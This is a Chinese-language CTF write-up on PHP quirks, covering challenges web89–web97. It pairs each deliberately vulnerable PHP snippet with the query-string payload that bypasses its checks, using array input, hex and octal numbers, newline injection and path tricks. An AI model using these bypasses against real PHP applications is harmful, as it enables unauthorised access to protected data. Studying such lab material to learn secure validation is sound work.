PHP特性

常见特性及敏感函数总结

  1. ==与===
  2. md5 0e绕过、数组绕过
  3. intval 进制或小数绕过
  4. strpos 换行绕过
  5. in_array 第三个参数是否设置,不设置为弱类型比较
  6. preg_match 数组绕过,不带\m可用换行绕过
  7. str_replace 无递归,双写绕过

web89

题目描述

开始php特性系列了,师傅们,冲冲冲!

解题思路

1
2
3
4
5
6
7
8
9
10
11
12
include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}

intvalPHP中获取变量整数值的函数,遇到非空array返回1

1
?num[]=1  # 使用数组绕过

web90

题目描述

开始php特性系列了,师傅们,冲冲冲!

解题思路

1
2
3
4
5
6
7
8
9
10
11
12
13
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}

intval函数用法可见以上链接,用十六进制绕过
?num=0x117c

web91

题目描述

开始php特性系列了,师傅们,冲冲冲!

解题思路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){ # /i表示不区分大小写
if(preg_match('/^php$/i', $a)){ # /m 表示换行匹配
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}

可见两判断条件的正则不同,第二个条件没有换行匹配,则可以用换行符绕过
?cmd=1%0aphp

web92

题目描述

开始php特性系列了,师傅们,冲冲冲!

解题思路

1
2
3
4
5
6
7
8
9
10
11
12
13
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}

可用同90方法
其他姿势
intval()函数如果base0base为0则var中存在字母的话遇到字母就停止读取 但是e这个字母比较特殊,可以在PHP中不是科学计数法。所以为了绕过前面的==4476我们就可以构造 4476e123 其实不需要是e其他的字母也可以

web93

题目描述

开始php特性系列了,师傅们,冲冲冲!

解题思路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}

过滤了字母,不能用十六进制,可以用八进制绕过
?num=010574

web94

题目描述

开始php特性系列了,师傅们,冲冲冲!

解题思路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}

在93的基础上过滤了开头为0的数字 这样的话就不能使用进制转换来进行操作 我们可以使用小数点来进行操作。这样通过intval()函数就可以变为int类型的4476
?num=4476.0

web95

题目描述

开始php特性系列了,师傅们,冲冲冲!

解题思路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}

可通过换行绕过strpos函数
?num=%0a010574

web96

题目描述

开始php特性系列了,师傅们,冲冲冲!

解题思路

1
2
3
4
5
6
7
8
9
highlight_file(__FILE__);

if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}

强制匹配flag.php,用Linux当前路径绕过即可
?u=./flag.php

web97

题目描述

开始php特性系列了,师傅们,冲冲冲!

解题思路

1
2
3
4
5
6
7
8
9
10
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

经典MD5,无脑数组过(注意POST)传参
a[]=1&b[]=2